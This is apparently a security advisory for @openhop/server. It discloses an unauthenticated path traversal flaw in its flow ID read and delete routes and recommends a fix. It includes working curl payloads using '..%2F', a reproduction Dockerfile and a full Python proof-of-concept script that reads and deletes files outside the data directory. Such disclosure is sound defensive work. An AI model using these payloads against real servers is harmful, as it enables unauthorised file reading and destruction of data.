@openhop/server: Path Traversal in Flow ID File Operations

Path

Traversal in Flow ID File Operations

Summary

@openhop/server passes unsanitized HTTP route parameters directly to path.join() when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary .yaml files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary .yaml files at any path reachable by the process. Because CORS is set to origin: true (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind HOST=0.0.0.0 by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).

Details

FlowStore.filePath() in packages/server/src/store.ts:52–53 constructs a filesystem path by concatenating the caller-supplied id directly into path.join:

// packages/server/src/store.ts:52-53
private filePath(id: string): string {
  return join(this.dir, `${id}.yaml`)
}

This result is consumed by two sinks:

• Read (packages/server/src/store.ts:78): readFile(this.filePath(id), 'utf-8')
• Delete (packages/server/src/store.ts:105): unlink(this.filePath(id))

The id value originates from unauthenticated Fastify HTTP route parameters:

• GET /api/flows/:id (packages/server/src/routes.ts:306) → store.get(id) at line 333–335
• DELETE /api/flows/:id (packages/server/src/routes.ts:509) → store.delete(id) at line 539–541

The route parameter schema at packages/server/src/routes.ts:315 and 519 declares only type: 'string' with no pattern constraint or allowlist. Fastify's underlying router (find-my-way) applies decodeURIComponent to route parameters, so the URL segment ..%2Fvictim is decoded to ../victim before it reaches application code. Node.js path.join('/data/flows', '../victim.yaml') then normalizes to /data/victim.yaml, escaping the configured data directory.

Additionally, packages/server/src/index.ts:37 registers CORS with origin: true, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.

Full data-flow (read path):

1. HTTP GET /api/flows/..%2Fvictim received (routes.ts:306)
2. find-my-way decodes ..%2Fvictim → req.params.id = '../victim' (routes.ts:333)
3. store.get('../victim') → filePath('../victim') → join('/data/flows', '../victim.yaml') → /data/victim.yaml (store.ts:52–53)
4. readFile('/data/victim.yaml', 'utf-8') returns file contents (store.ts:78)
5. Server responds HTTP 200 with YAML-parsed JSON body

Full data-flow (delete path):

1. HTTP DELETE /api/flows/..%2Fdelete-me received (routes.ts:509)
2. find-my-way decodes ..%2Fdelete-me → req.params.id = '../delete-me' (routes.ts:539)
3. store.delete('../delete-me') → filePath('../delete-me') → join('/data/flows', '../delete-me.yaml') → /data/delete-me.yaml (store.ts:52–53)
4. unlink('/data/delete-me.yaml') removes the file (store.ts:105)
5. Server responds HTTP 204

PoC

Environment setup (Docker):

# Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .

# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001

The container creates /data/flows/ as the configured flow store (OPENHOP_DATA_DIR=/data/flows) and places /data/victim.yaml and /data/delete-me.yaml outside that directory as traversal targets.

Attack 1 — Read file outside flow store:

curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'

Expected response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}

Attack 2 — Delete file outside flow store:

curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'

Expected response:

HTTP/1.1 204 No Content

Verify deletion:

docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
# Output: deleted

Automated PoC script:

python3 poc.py 127.0.0.1 8799

Recommended fix:

--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
   private filePath(id: string): string {
+    if (!FLOW_ID_PATTERN.test(id)) {
+      throw new Error('Invalid flow id')
+    }
     return join(this.dir, `${id}.yaml`)
   }

Impact

This is a Path Traversal (CWE-22) vulnerability. The .yaml file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any .yaml file the process can reach (I:H, A:H).

Affected parties:

• **Users running openhop serve locally** — exploitable via a malicious webpage due to cors({ origin: true }) allowing all browser origins to make cross-origin requests to localhost:8799.
• Docker/server deployments — HOST=0.0.0.0 is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.

An attacker can: (1) read the contents of any .yaml file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any .yaml file accessible to the process, causing data loss or disruption of services that depend on those files.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
#
# Build context: the repository root (naorsabag/openhop)
# Usage:
#   docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
#   docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
#
# Data layout inside the container:
#   /data/flows/         <- OPENHOP_DATA_DIR (the configured flow store)
#   /data/victim.yaml    <- OUTSIDE the flow store (path traversal read target)
#   /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)
#
# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",
# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.

FROM node:22-alpine

WORKDIR /app

# Copy package manifests so npm can resolve workspace dependency graph.
COPY package*.json ./
COPY packages/server/package*.json packages/server/
COPY packages/shared/package*.json packages/shared/
COPY packages/cli/package*.json packages/cli/
COPY packages/web/package*.json packages/web/

# Copy TypeScript configs and source files BEFORE npm install.
# The @openhop/server package has a "prepare" lifecycle that runs
# `tsc && esbuild` during npm install, so all sources must be present.
COPY tsconfig.base.json ./
COPY packages/server/tsconfig*.json packages/server/
COPY packages/server/src/ packages/server/src/
COPY packages/shared/src/ packages/shared/src/

# Install all workspace dependencies.
# The @openhop/server prepare script will compile to dist/server.js.
# We run the server via tsx (direct TypeScript), so the compiled output
# is not required at runtime but the prepare step must not fail.
RUN npm install

# Set up the data directory layout for the PoC.
#   /data/flows/       -> configured as OPENHOP_DATA_DIR (the "safe" directory)
#   /data/victim.yaml  -> outside the store; represents a sensitive file that
#                         MUST NOT be reachable via the API without sanitization
RUN mkdir -p /data/flows && \
    printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n  meta:\n    title: SECRET_OUTSIDE_FILE\n    description: This file lives outside the configured flow store directory\n  flow:\n    nodes:\n      - id: a\n        label: Sensitive Data\n' \
    > /data/victim.yaml && \
    printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n  meta:\n    title: DELETE_TARGET_FILE\n  flow:\n    nodes:\n      - id: b\n        label: Delete Target\n' \
    > /data/delete-me.yaml

# Server listens on 8799 inside the container.
EXPOSE 8799

# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.
# HOST=0.0.0.0 makes the server reachable from outside the container.
ENV OPENHOP_DATA_DIR=/data/flows
ENV HOST=0.0.0.0
ENV PORT=8799

# Run the server via tsx (TypeScript runner; no compile step needed at runtime).
CMD ["npx", "tsx", "packages/server/src/index.ts"]

poc.py

#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 — CVSS 8.3 High

Vulnerability:
    FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
        return join(this.dir, `${id}.yaml`)
    with no sanitization on `id`. The route GET /api/flows/:id passes
    `req.params.id` (decoded by find-my-way via decodeURIComponent) directly
    to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
    the URL is decoded to "../victim", causing path.join to escape the
    configured data directory.

Attack Vectors:
    READ:   GET    /api/flows/..%2Fvictim    -> reads  /data/victim.yaml
    DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml

Both routes are unauthenticated (routes.ts:306, 509).

Usage:
    python3 poc.py [host] [port]
    python3 poc.py 127.0.0.1 8799
"""

import http.client
import json
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799

# URL-encoded payloads: %2F is a percent-encoded "/" character.
# find-my-way treats ".." and "%2F" together as a single path segment
# (no literal "/" split), then decodes the segment to "../victim".
TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"


def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
    """Poll until the OpenHop server returns any response on /api/flows."""
    deadline = time.time() + timeout
    print(f"[*] Waiting for server at http://{host}:{port} ...")
    while time.time() < deadline:
        try:
            conn = http.client.HTTPConnection(host, port, timeout=2)
            conn.request("GET", "/api/flows")
            r = conn.getresponse()
            r.read()
            conn.close()
            print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
            return True
        except Exception:
            time.sleep(1)
    return False


def raw_http(method: str, host: str, port: int, path: str):
    """
    Send an HTTP request with the path exactly as given — no normalization.
    http.client does NOT percent-decode or normalize the path string, so
    '..%2F' reaches the server verbatim and Fastify's router decodes it.
    """
    conn = http.client.HTTPConnection(host, port, timeout=10)
    conn.request(method, path)
    resp = conn.getresponse()
    body = resp.read()
    conn.close()
    return resp.status, body


def main() -> int:
    print("=" * 62)
    print("VULN-001  Path Traversal in OpenHop Flow ID File Operations")
    print("=" * 62)
    print(f"[*] Target  : http://{HOST}:{PORT}")
    print(f"[*] Payload : ..%2F  (decoded by find-my-way to ../)")
    print(f"[*] Store   : /data/flows/   (OPENHOP_DATA_DIR)")
    print(f"[*] Outside : /data/victim.yaml  /data/delete-me.yaml")
    print()

    if not wait_for_server(HOST, PORT):
        print("[-] Server did not become ready within timeout. ABORT.")
        return 1

    print()
    passed_read = False
    passed_delete = False

    # ── Attack 1: Read a file outside the configured flow store ─────────
    print("[*] Attack 1 — READ path traversal")
    print(f"    Request : GET {TRAVERSAL_GET_PATH}")
    print(f"    Decoded : id = ../victim")
    print(f"    Resolves: path.join('/data/flows', '../victim.yaml')")
    print(f"            = /data/victim.yaml  (outside flow store)")

    status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    print(f"    Body    : {body_text[:600]}")

    if status == 200:
        try:
            data = json.loads(body_text)
            title = data.get("meta", {}).get("title", "")
            if "SECRET_OUTSIDE_FILE" in title:
                print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
                print(f"       Leaked title field = {title!r}")
                passed_read = True
            else:
                print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
                print(f"       Full response: {data}")
                # Still count as read-traversal success if we got a valid flow back
                if "meta" in data or "flow" in data:
                    print("[PASS] READ confirmed: path traversal returned a flow from outside store")
                    passed_read = True
        except json.JSONDecodeError:
            print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
    else:
        print(f"[FAIL] Expected HTTP 200, got {status}")

    print()

    # ── Attack 2: Delete a file outside the configured flow store ────────
    print("[*] Attack 2 — DELETE path traversal")
    print(f"    Request : DELETE {TRAVERSAL_DELETE_PATH}")
    print(f"    Decoded : id = ../delete-me")
    print(f"    Resolves: path.join('/data/flows', '../delete-me.yaml')")
    print(f"            = /data/delete-me.yaml  (outside flow store)")

    status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    if body_text:
        print(f"    Body    : {body_text[:200]}")

    if status in (200, 204):
        print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store")
        passed_delete = True
    else:
        print(f"[FAIL] Expected HTTP 204, got {status}")

    # ── Summary ─────────────────────────────────────────────────────────
    print()
    print("=" * 62)
    if passed_read and passed_delete:
        print("[RESULT] PASS — Both read and delete path traversal exploited")
        return 0
    elif passed_read:
        print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed")
        return 1
    else:
        print("[RESULT] FAIL — Exploit did not succeed")
        return 2


if __name__ == "__main__":
    sys.exit(main())